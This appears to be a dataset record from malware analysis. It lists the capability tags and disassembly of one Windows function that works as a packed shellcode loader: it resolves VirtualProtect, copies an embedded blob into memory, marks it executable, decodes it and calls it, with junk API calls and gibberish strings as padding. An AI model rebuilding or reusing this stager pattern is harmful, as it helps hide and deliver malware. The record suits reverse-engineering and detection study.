Function at 0x4016e4
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x41d059
call fcn.0041bcf4
mov eax, 0x1028
call fcn.00406540
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x401716
inc esi
cmp esi, 0x67d12
jl 0x4016ff
cmp dword [0x2810ac4], 0x93
jne 0x4017b5
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push ebx
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
push ebx
lea eax, [ebp - 0x834]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x34], bl
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00401f41
push ebx
call fcn.00401f66
or dword [ebp - 4], 0xffffffff
add esp, 0xc
cmp dword [ebp - 0x20], 0x10
jb 0x4017b5
push dword [ebp - 0x34]
call fcn.00401f4c
pop ecx
mov eax, dword [0x422be8]
add dword [0x2810ac4], 0x1134b
push str.kernel32.dll
mov dword [0x2811900], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
mov dword [0x2810554], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2810ac4]
mov dword [0x2810548], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2810ac4]
mov dword [0x2810550], eax
push eax
call dword [0x2810548]
mov esi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x401814
mov eax, dword [0x2810ac4]
cmp eax, ebx
jbe 0x401884
mov eax, dword [0x2811900]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2810550]
mov byte [ecx + esi], al
mov eax, dword [0x2810ac4]
cmp eax, 0x490
jne 0x40187f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push ebx
call dword [sym.imp.KERNEL32.dll_AttachConsole]
mov eax, dword [0x2810ac4]
inc esi
cmp esi, eax
jb 0x40182e
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x4018b9
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push str.zavikenizejonazuhicacetuvixuxe_dihovemorehikozaxipaxajapa_sem_pajirom
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2810ac4]
inc esi
cmp esi, 0x38681
jl 0x401886
mov ecx, dword [0x2810550]
shr eax, 3
cmp eax, ebx
jbe 0x4018df
mov esi, ecx
mov edi, eax
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x4018d3
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x401900
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0x3dea
mov eax, dword [ebp - 0x14]
add dword [0x2810550], eax
inc esi
cmp esi, 0x674bd
jl 0x4018e1
push 0x7b
pop esi
cmp dword [0x2810ac4], 0x86
jne 0x401964
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push ebx
push str.busesomoyulejuvoyuc_begenegotujafumufufibotelesogu_joduhocilucaciyobohewobomoh_guxayiwudesecefibosotacusozepax_tukalimabu
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1034]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
dec esi
jne 0x40190c
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2810550]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret